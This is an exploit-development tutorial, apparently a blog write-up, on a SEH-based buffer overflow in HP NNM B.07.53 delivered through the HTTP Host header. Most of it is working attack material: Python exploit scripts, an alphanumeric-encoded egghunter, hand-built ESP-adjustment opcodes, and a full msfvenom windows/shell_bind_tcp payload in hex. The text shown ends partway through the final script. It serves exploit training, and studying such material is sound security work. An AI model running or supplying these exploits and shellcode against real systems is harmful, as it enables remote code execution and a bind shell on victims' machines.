\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2e\x5d\x55\x5d\x2d\x2e\x5d\x55\x5d\x2d\x2f\x5e\x55\x5d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2d\x5c\x6f\x2d\x70\x2d\x5c\x6f\x2d\x71\x2f\x5d\x71\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x38\x45\x2d\x5b\x6c\x38\x45\x2d\x5b\x6e\x3a\x45\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2e\x2d\x41\x53\x37\x2e\x2d\x42\x54\x37\x2f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x3f\x39\x31\x2d\x50\x3f\x39\x31\x2d\x51\x3f\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50

encoder output

Adjust ESP

When we jump over SEH and land into D buffer, at this point, let’s check our PC(i.e. EIP) and ESP address.

1
2
ESP => 2216E6D8
EIP => 2216FBF0

Usually when ESP > EIP, we need to perform stack pointer adjustment and make ESP <= EIP.

Because during this condition, PC and ESP both will move towards each other, and any PUSH instruction stored in the path of PC, overwrite an existing instruction in the stack. Thus it modifies the original shellcode/payload.

In our present scenario, ESP < EIP. During execution, PC and ESP both move away from each other. Due to this, there is no risk of instruction overwrite.

However, if we inspect our encoded version of egghunter code, then we can observe the followings

  • for the first PUSH operation, it inserts thelast 4 bytes of the original egghunter code into the stack.
  • for the second PUSH operation, it inserts the second last 4 bytes of the original egghunter code into the stack.
  • It means, for every PUSH, ESP moves towards low memory by 4 bytes.
  • After 8th PUSH operation, ESP points to the first 4 bytesof the original egghunter code.

We have to point/set the ESP far down to the high memory if we want to generate the original egghunter after the encoded egghunter payload.

Due to this reason, we need to adjust the ESP. But how far we need to go that depends on the length of ( esp_set_up_logic + encoded_payload + original_payload).

1
2
3
4
5
6
# for example
esp_setup_logic = 7 bytes (assuming)
encoded_egghunter = 208 bytes
original_egghunter = 32 bytes

# we need to set the ESP to some value > 247 (7 + 208 + 32)
Problem
  • We can’t use ADD ESP directly because \xEC is a bad character.
  • ASLR protection is enabled so we can’t hardcode any address.
  • Further, based on the value of the EIP, we need to adjust the ESP dynamically.
Solution
  • First, we need to get hold of the program counter value into some register (i.e. EAX)
  • Then we need to perform ADD operation on that register with some safe character/value.
  • Then PUSH the register on the stack then POP that out into ESP. So that ESP contains the same value as EAX.
Thought Process
  1. If we observe, when we jump over nSEH and meet our D buffer, at that point => ESP points to nSEH.
  2. However the interestingly, it is just 8 bytes away from program counter / EIP.
  3. So if we move this ESP value to EAX then we can get hold of the program counter approximately.
  4. If the length of the encoded_egghunter = 208, original_egghunter = 32 then minimum we need to add 240 ~ 250 to EAX .
  5. Here I am assuming esp_setup_logic takes maximum 10 bytes.
  6. We can add any more than 250 but less than 464. We are very much flexible in this.

If we try to add 250 to EAX then the final opcode would be like below

1
2
ADD EAX, 0xfa # 0xfa => 250
String Literal: "\x05\xFA\x00\x00\x00"

The tool used: https://defuse.ca/online-x86-assembler.htm

But \xfa is a bad char, and we can’t use that. Moreover, the final opcode contains other bad chars such as ADD EAX => \x05and three null bytes.

To resolve this, we have to avoid ADD EAX instruction.

Solution

Instead of using the entire 32 bytes register, we can use lower 16 bytes to perform the addition operation. This technique provides the same result.

ADD AX => \x66 (safe char)

1
2
ADD AX, 0xfa
String Literal: 0x66, 0x05, 0xFA, 0x00

But still, the final opcode has another null byte.

We can’t choose 251 to 255 as \xfa to \xff. All are bad chars.

  • 256 => 0x100 => also contains null byte
  • 257 => 0x101 => but here \x01 \x01 both chars are safe. We can use this.

Thus, using this backtrack trial method, we can finalize the value to be added.

We are quite flexible in choosing the value to be added to adjust the ESP. Remember that the value should not be larger than 464.

Lets choose the value = 300 => 12C (01, 2c both are safe chars).

1
2
ADD AX, 0x12c
String Literal: "\x66\x05\x2C\x01"

So our final esp_setup_logic will be

1
2
3
4
5
# 2216FDF0   58               POP EAX  => ESP holds the EIP (approx.)
# 2216FDF8   66:05 2C01       ADD AX,12C => add 300 with present value, 0x01 and 0x2c => both are safe character

# 2216FDF6   50               PUSH EAX
# 2216FDF7   5C               POP ESP  => moving the EAX value to ESP

Total length = 7 bytes.

Program Flow

  • During program run, when all instructions of the esp_setup_logic are executed, at that point ESP > EIP.

  • After that, we want the program should execute all encoded egghunter’s instructions.

  • During this process, PC moves toward high memory and in the path, while executing every PUSH instruction by PC, ESP moves towards low memory.

  • When all instructions of the encoded egghunter are finished, during that point, the ESP points at the very 1st block of the actual egghunter code.

begining_of_egghunter

  • After executing the encoded egghuntercode, the PC or EIP rolls down and executes all INC ECX and eventually reaches the beginning of the normal egghunter code. At that point ESP = EIP.
  • After that, the EIP starts executing the egghunter code. At that point ESP < EIP.

  • Finally, when the egghunter code execution is completed, it finds the address of the egg signature - T00WT00W and passes the execution control by jumping to the address where EDI points.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3

# author: greyshell
# description: encoded egghunter payload using alphaNumEncoder

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305

    # 1035FE34   48               DEC EAX
    # 1035FE35   48               DEC EAX
    # 1035FE36   77 04            JA SHORT 1035FE59
    # little endian format: "\x4c\x4c\x77\x04"  ==> bad char friendly
    nseh = "\x48\x48\x77\x04"

    # 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:
    # False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP
    # OpenView\jre\jreActive\bin\client\jvm.dll)
    seh = (0x6d6e394a.to_bytes(4, 'little')).decode('ISO-8859-1')

    # setting up ESP dynamically to bypassing ASLR protection
    # 2216FDF0   58               POP EAX
    # 2216FDF8   66:05 2C01       ADD AX,12C
    # 2216FDF6   50               PUSH EAX
    # 2216FDF7   5C               POP ESP

    esp_setup = "\x58\x66\x05\x2c\x01\x50\x5c"

    # !mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s
    # 6681CAFF0F42526A0258CD2E3C055A74EFB8543030578BFAAF75EAAF75E7FFE7
    encoded_egghunter = (
        "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x5d\x55\x5d\x2d\x2d\x5d\x55\x5d\x2d\x31\x5e\x55\x5d\x50\x25"
        "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2c\x5c\x6f\x2d\x70\x2c\x5c\x6f\x2d\x71\x31\x5d\x71\x50\x25\x4a"
        "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d"
        "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x37\x45\x2d\x5b\x6c\x37\x45\x2d\x5b\x6e\x3c\x45\x50\x25\x4a\x4d\x4e"
        "\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2d\x2d\x41\x53\x37\x2d\x2d\x42\x54\x37\x31\x50\x25\x4a\x4d\x4e\x55"
        "\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25"
        "\x35\x32\x31\x2a\x2d\x50\x3e\x39\x31\x2d\x50\x3e\x39\x31\x2d\x51\x41\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35"
        "\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50")

    # replaced the "D" buffer with "A" buffer to protect from ESP corruption because D will be interpreted as INC ESP
    buff_last = "A" * (
                total_len_buff - len(initial_buff) - len(nseh) - len(seh) - len(esp_setup) - len(encoded_egghunter))

    crash = initial_buff + nseh + seh + esp_setup + encoded_egghunter + buff_last

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

found_egg

Key Points
  • When the program execution happens from the stack, then the opcode placed on the buffer gets interpreted as instruction. That means A is interpreted as INC ECX.
  • Every PUSH instruction in theencoded_egghunter_logic, overwrites the INC ECX instruction on the stack and, finally, approximate 41 bytes of A buffer gets stored between the encoded_egghunter_logic and expanded actual egghunter.
  • The increment of the ECX register does not have any impact on ESP.

Code Cave

If we place another large buffer at the end of the HTTP request as POST data, then would it affect the entire crash?

To examine that scenario, create a pattern of 1500 bytes and send this new buffer as POST data.

!mona pattern_create 1500

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3

# author: greyshell
# description: finding the right place for final shellcode, as POST parameter

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305

    # 1035FE34   48               DEC EAX
    # 1035FE35   48               DEC EAX
    # 1035FE36   77 04            JA SHORT 1035FE59
    # little endian format: "\x4c\x4c\x77\x04"  ==> bad char friendly
    nseh = "\x48\x48\x77\x04"

    # 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:
    # False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP
    # OpenView\jre\jreActive\bin\client\jvm.dll)
    seh = (0x6d6e394a.to_bytes(4, 'little')).decode('ISO-8859-1')

    buff_last = "D" * (total_len_buff - len(initial_buff) - len(nseh) - len(seh))

    crash = initial_buff + nseh + seh + buff_last

    # generate msf pattern of 1500 bytes: !mona pattern_create 1500
    test_buff = (
        "\x41\x61\x30\x41\x61\x31\x41\x61\x32\x41\x61\x33\x41\x61\x34\x41\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38"
        "\x41\x61\x39\x41\x62\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35\x41\x62\x36\x41\x62\x37"
        "\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41\x63\x31\x41\x63\x32\x41\x63\x33\x41\x63\x34\x41\x63\x35\x41\x63\x36"
        "\x41\x63\x37\x41\x63\x38\x41\x63\x39\x41\x64\x30\x41\x64\x31\x41\x64\x32\x41\x64\x33\x41\x64\x34\x41\x64\x35"
        "\x41\x64\x36\x41\x64\x37\x41\x64\x38\x41\x64\x39\x41\x65\x30\x41\x65\x31\x41\x65\x32\x41\x65\x33\x41\x65\x34"
        "\x41\x65\x35\x41\x65\x36\x41\x65\x37\x41\x65\x38\x41\x65\x39\x41\x66\x30\x41\x66\x31\x41\x66\x32\x41\x66\x33"
        "\x41\x66\x34\x41\x66\x35\x41\x66\x36\x41\x66\x37\x41\x66\x38\x41\x66\x39\x41\x67\x30\x41\x67\x31\x41\x67\x32"
        "\x41\x67\x33\x41\x67\x34\x41\x67\x35\x41\x67\x36\x41\x67\x37\x41\x67\x38\x41\x67\x39\x41\x68\x30\x41\x68\x31"
        "\x41\x68\x32\x41\x68\x33\x41\x68\x34\x41\x68\x35\x41\x68\x36\x41\x68\x37\x41\x68\x38\x41\x68\x39\x41\x69\x30"
        "\x41\x69\x31\x41\x69\x32\x41\x69\x33\x41\x69\x34\x41\x69\x35\x41\x69\x36\x41\x69\x37\x41\x69\x38\x41\x69\x39"
        "\x41\x6a\x30\x41\x6a\x31\x41\x6a\x32\x41\x6a\x33\x41\x6a\x34\x41\x6a\x35\x41\x6a\x36\x41\x6a\x37\x41\x6a\x38"
        "\x41\x6a\x39\x41\x6b\x30\x41\x6b\x31\x41\x6b\x32\x41\x6b\x33\x41\x6b\x34\x41\x6b\x35\x41\x6b\x36\x41\x6b\x37"
        "\x41\x6b\x38\x41\x6b\x39\x41\x6c\x30\x41\x6c\x31\x41\x6c\x32\x41\x6c\x33\x41\x6c\x34\x41\x6c\x35\x41\x6c\x36"
        "\x41\x6c\x37\x41\x6c\x38\x41\x6c\x39\x41\x6d\x30\x41\x6d\x31\x41\x6d\x32\x41\x6d\x33\x41\x6d\x34\x41\x6d\x35"
        "\x41\x6d\x36\x41\x6d\x37\x41\x6d\x38\x41\x6d\x39\x41\x6e\x30\x41\x6e\x31\x41\x6e\x32\x41\x6e\x33\x41\x6e\x34"
        "\x41\x6e\x35\x41\x6e\x36\x41\x6e\x37\x41\x6e\x38\x41\x6e\x39\x41\x6f\x30\x41\x6f\x31\x41\x6f\x32\x41\x6f\x33"
        "\x41\x6f\x34\x41\x6f\x35\x41\x6f\x36\x41\x6f\x37\x41\x6f\x38\x41\x6f\x39\x41\x70\x30\x41\x70\x31\x41\x70\x32"
        "\x41\x70\x33\x41\x70\x34\x41\x70\x35\x41\x70\x36\x41\x70\x37\x41\x70\x38\x41\x70\x39\x41\x71\x30\x41\x71\x31"
        "\x41\x71\x32\x41\x71\x33\x41\x71\x34\x41\x71\x35\x41\x71\x36\x41\x71\x37\x41\x71\x38\x41\x71\x39\x41\x72\x30"
        "\x41\x72\x31\x41\x72\x32\x41\x72\x33\x41\x72\x34\x41\x72\x35\x41\x72\x36\x41\x72\x37\x41\x72\x38\x41\x72\x39"
        "\x41\x73\x30\x41\x73\x31\x41\x73\x32\x41\x73\x33\x41\x73\x34\x41\x73\x35\x41\x73\x36\x41\x73\x37\x41\x73\x38"
        "\x41\x73\x39\x41\x74\x30\x41\x74\x31\x41\x74\x32\x41\x74\x33\x41\x74\x34\x41\x74\x35\x41\x74\x36\x41\x74\x37"
        "\x41\x74\x38\x41\x74\x39\x41\x75\x30\x41\x75\x31\x41\x75\x32\x41\x75\x33\x41\x75\x34\x41\x75\x35\x41\x75\x36"
        "\x41\x75\x37\x41\x75\x38\x41\x75\x39\x41\x76\x30\x41\x76\x31\x41\x76\x32\x41\x76\x33\x41\x76\x34\x41\x76\x35"
        "\x41\x76\x36\x41\x76\x37\x41\x76\x38\x41\x76\x39\x41\x77\x30\x41\x77\x31\x41\x77\x32\x41\x77\x33\x41\x77\x34"
        "\x41\x77\x35\x41\x77\x36\x41\x77\x37\x41\x77\x38\x41\x77\x39\x41\x78\x30\x41\x78\x31\x41\x78\x32\x41\x78\x33"
        "\x41\x78\x34\x41\x78\x35\x41\x78\x36\x41\x78\x37\x41\x78\x38\x41\x78\x39\x41\x79\x30\x41\x79\x31\x41\x79\x32"
        "\x41\x79\x33\x41\x79\x34\x41\x79\x35\x41\x79\x36\x41\x79\x37\x41\x79\x38\x41\x79\x39\x41\x7a\x30\x41\x7a\x31"
        "\x41\x7a\x32\x41\x7a\x33\x41\x7a\x34\x41\x7a\x35\x41\x7a\x36\x41\x7a\x37\x41\x7a\x38\x41\x7a\x39\x42\x61\x30"
        "\x42\x61\x31\x42\x61\x32\x42\x61\x33\x42\x61\x34\x42\x61\x35\x42\x61\x36\x42\x61\x37\x42\x61\x38\x42\x61\x39"
        "\x42\x62\x30\x42\x62\x31\x42\x62\x32\x42\x62\x33\x42\x62\x34\x42\x62\x35\x42\x62\x36\x42\x62\x37\x42\x62\x38"
        "\x42\x62\x39\x42\x63\x30\x42\x63\x31\x42\x63\x32\x42\x63\x33\x42\x63\x34\x42\x63\x35\x42\x63\x36\x42\x63\x37"
        "\x42\x63\x38\x42\x63\x39\x42\x64\x30\x42\x64\x31\x42\x64\x32\x42\x64\x33\x42\x64\x34\x42\x64\x35\x42\x64\x36"
        "\x42\x64\x37\x42\x64\x38\x42\x64\x39\x42\x65\x30\x42\x65\x31\x42\x65\x32\x42\x65\x33\x42\x65\x34\x42\x65\x35"
        "\x42\x65\x36\x42\x65\x37\x42\x65\x38\x42\x65\x39\x42\x66\x30\x42\x66\x31\x42\x66\x32\x42\x66\x33\x42\x66\x34"
        "\x42\x66\x35\x42\x66\x36\x42\x66\x37\x42\x66\x38\x42\x66\x39\x42\x67\x30\x42\x67\x31\x42\x67\x32\x42\x67\x33"
        "\x42\x67\x34\x42\x67\x35\x42\x67\x36\x42\x67\x37\x42\x67\x38\x42\x67\x39\x42\x68\x30\x42\x68\x31\x42\x68\x32"
        "\x42\x68\x33\x42\x68\x34\x42\x68\x35\x42\x68\x36\x42\x68\x37\x42\x68\x38\x42\x68\x39\x42\x69\x30\x42\x69\x31"
        "\x42\x69\x32\x42\x69\x33\x42\x69\x34\x42\x69\x35\x42\x69\x36\x42\x69\x37\x42\x69\x38\x42\x69\x39\x42\x6a\x30"
        "\x42\x6a\x31\x42\x6a\x32\x42\x6a\x33\x42\x6a\x34\x42\x6a\x35\x42\x6a\x36\x42\x6a\x37\x42\x6a\x38\x42\x6a\x39"
        "\x42\x6b\x30\x42\x6b\x31\x42\x6b\x32\x42\x6b\x33\x42\x6b\x34\x42\x6b\x35\x42\x6b\x36\x42\x6b\x37\x42\x6b\x38"
        "\x42\x6b\x39\x42\x6c\x30\x42\x6c\x31\x42\x6c\x32\x42\x6c\x33\x42\x6c\x34\x42\x6c\x35\x42\x6c\x36\x42\x6c\x37"
        "\x42\x6c\x38\x42\x6c\x39\x42\x6d\x30\x42\x6d\x31\x42\x6d\x32\x42\x6d\x33\x42\x6d\x34\x42\x6d\x35\x42\x6d\x36"
        "\x42\x6d\x37\x42\x6d\x38\x42\x6d\x39\x42\x6e\x30\x42\x6e\x31\x42\x6e\x32\x42\x6e\x33\x42\x6e\x34\x42\x6e\x35"
        "\x42\x6e\x36\x42\x6e\x37\x42\x6e\x38\x42\x6e\x39\x42\x6f\x30\x42\x6f\x31\x42\x6f\x32\x42\x6f\x33\x42\x6f\x34"
        "\x42\x6f\x35\x42\x6f\x36\x42\x6f\x37\x42\x6f\x38\x42\x6f\x39\x42\x70\x30\x42\x70\x31\x42\x70\x32\x42\x70\x33"
        "\x42\x70\x34\x42\x70\x35\x42\x70\x36\x42\x70\x37\x42\x70\x38\x42\x70\x39\x42\x71\x30\x42\x71\x31\x42\x71\x32"
        "\x42\x71\x33\x42\x71\x34\x42\x71\x35\x42\x71\x36\x42\x71\x37\x42\x71\x38\x42\x71\x39\x42\x72\x30\x42\x72\x31"
        "\x42\x72\x32\x42\x72\x33\x42\x72\x34\x42\x72\x35\x42\x72\x36\x42\x72\x37\x42\x72\x38\x42\x72\x39\x42\x73\x30"
        "\x42\x73\x31\x42\x73\x32\x42\x73\x33\x42\x73\x34\x42\x73\x35\x42\x73\x36\x42\x73\x37\x42\x73\x38\x42\x73\x39"
        "\x42\x74\x30\x42\x74\x31\x42\x74\x32\x42\x74\x33\x42\x74\x34\x42\x74\x35\x42\x74\x36\x42\x74\x37\x42\x74\x38"
        "\x42\x74\x39\x42\x75\x30\x42\x75\x31\x42\x75\x32\x42\x75\x33\x42\x75\x34\x42\x75\x35\x42\x75\x36\x42\x75\x37"
        "\x42\x75\x38\x42\x75\x39\x42\x76\x30\x42\x76\x31\x42\x76\x32\x42\x76\x33\x42\x76\x34\x42\x76\x35\x42\x76\x36"
        "\x42\x76\x37\x42\x76\x38\x42\x76\x39\x42\x77\x30\x42\x77\x31\x42\x77\x32\x42\x77\x33\x42\x77\x34\x42\x77\x35"
        "\x42\x77\x36\x42\x77\x37\x42\x77\x38\x42\x77\x39\x42\x78\x30\x42\x78\x31\x42\x78\x32\x42\x78\x33\x42\x78\x34"
        "\x42\x78\x35\x42\x78\x36\x42\x78\x37\x42\x78\x38\x42\x78\x39")

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    # place the test_buff as POST data but keeping the method GET
    buffer += test_buff

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

During the crash, !mona suggest finds the cyclic pattern at 0x04df6fd1.

But the original buffer is reduced into 139 bytes.

That length is too little to accommodate a reverse/bind shell payload. It seems application puts a limit on the length of HTTP POST data.

post data pattern found

Due to this, we need to put the final shellcode/payload at the beginning of the input buffer in an encoded form and the same way we need to adjust ESP to generate the actual shellcode dynamically in stack memory.

Final Payload

Generate 328 bytes shell_bind_tcp payload using msfvenom.

1
2
3
4
5
6
(venv) ╭─root@kali ~
╰─# msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -f hex
No encoder or badchars specified, outputting raw payload
Payload size: 328 bytes
Final size of hex file: 656 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5

While trying to encode that payload using mona.py alphanum encoder, I encountered another challenge.

The Immunity textbox has some length limitations. Due to this reason, we can’t put the entire command and execute it even if we can’t run mona.py outside the debugger context.

1
!mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5

alpha_num_encoder.py

Use alpha_num_encoder.py to encode the hex formatted payload generated from msfvenom.

1
2
3
4
5
6
7
8
9
10
 alpha_num_encoder.py [-h] -p  -b

encode a payload using alpha_num_encoder

optional arguments:
  -h, --help            show this help message and exit
  -p , --payload        provide a text file containing payload in hex format
  -b , --bad_characters
                        provide a text file containing all bad characters in
                        hex format

ESP Align By 4

As we know that ASLR is turned on, so we need to make sure and align the stack pointer / ESP always by 4 to run the shellcode reliably.

It means, for a 32 bit system, the address stored in the ESP should always be divisible by 4.

We can use the following logic to achieve this.

1
2
3
4
5
6
7
8
9
10
# ESP alighment by 4
0:  83 ec 10                sub    esp,0x10
3:  54                      push   esp
4:  58                      pop    eax
5:  31 d2                   xor    edx,edx
7:  bb 04 00 00 00          mov    ebx,0x4
c:  f7 f3                   div    ebx
e:  29 d4                   sub    esp,edx

# hex bytes = 83EC10545831D2BB04000000F7F329D4

However, the hex bytes contain some bad characters.

To overcome this, prepend this logic/hex bytes just before the actual shellcode and use alpha_num_encoder.py to encode the entire string.

1
2
# payload.txt (esp_align_by_4 logic + shellcode)
83EC10545831D2BB04000000F7F329D4fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a085950e2fd4050405068ea0fdfe0ffd597680200115c89e66a10565768c2db3767ffd55768b7e938ffffd5576874ec3be1ffd5579768756e4d61ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5

In this way, we can make sure that the code can be placed/run before the actual shellcode.

1
2
(playbook) ╭─root@kali ~/code-dev/python/hands-on_python3/hpnnm-B.07.53
╰─# python alpha_num_encoder.py -p payload.txt -b bad_chars.txt > result.txt

Detailed output of the script => result.txt

Buffer Layout

From the egghunter code, we can figure out that when the egghunter finds the egg marker, it loads up JUMP address into the EDI register.

So we can quickly get hold of the EIP by directly moving that EDI value to EAX.

1
2
  # 04DD74D6   57               PUSH EDI => \x57 is good char
  # 04DD74D7   58               POP EAX => \x58 is good char

Now let’s find what value we can add with AX register.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# for example
esp_setup_logic = 7 ~ 10 bytes
encoded_logic(esp_adjust_by_4_logic + shell_bind_tcp payload) = 2236 bytes
actual_esp_adjust_by_4_logic = 16 bytes
actual_shell_reverse_tcp_payload = 328 bytes
============================================
total = 2580 bytes

# we need to set the ESP to some value > 2580 but less than 3305
# 2580 => in hex format 0xa14
# \x0a is bad char so we need to find the next good char.
# after \x09, \x0b is good char => so we can use the value 0x0b as the stating char.
# for the last char, we can choose any value from the good char set. lets choose => 0x01

# final logic
PUSH EDI
POP EAX
ADD AX, 0xb01 # adding 2817
PUSH EAX
POP ESP

Use mona.py to generate the opcode.

1
2
!mona assemble -s "push edi#pop eax#add ax,0xb01#push eax#pop esp"
"\x57\x58\x66\x05\x01\x0B\x50\x5C"

On-line tool => https://defuse.ca/online-x86-assembler.htm#disassembly

Prepare the final buffer that will layout in the memory like below.

stack_layout.png

We have to use the initial 3305 bytes buffer to fit the following.

  • egg marker - T00WT00W
  • ESP setup_logic.
  • Encoded version of align_stack_pointer_logic and shell_bind_tcp shellcode.
  • Remaining buffer where align_stack_pointer_logic and actual shellcode will expand during runtime.

The Shell

Fired up the final exploit code, and it opens a TCP port 4444.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python3

# author: greyshell
# description: shell_bind_tcp payload (port 4444)

import socket

# global constant variable
HOST = "172.16.116.198"
PORT = "7510"


def main():
    # max crash buff length = 3780
    total_len_buff = 3780

    initial_buff = "A" * 3305

    egg_marker = "T00WT00W"  # all chars are safe

    # PUSH EDI
    # POP EAX
    # ADD AX, 0xb01
    # PUSH EAX
    # POP ESP
    # string literal: "\x57\x58\x66\x05\x01\x0B\x50\x5C"
    esp_setup_shellcode = "\x57\x58\x66\x05\x01\x0B\x50\x5C"

    # msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4444 -f hex
    # payload = esp_adjust_by_4_logic + shell_bind_tcp shellcode
    # python alpha_num_encoder.py -p payload.txt -b bad_chars.txt
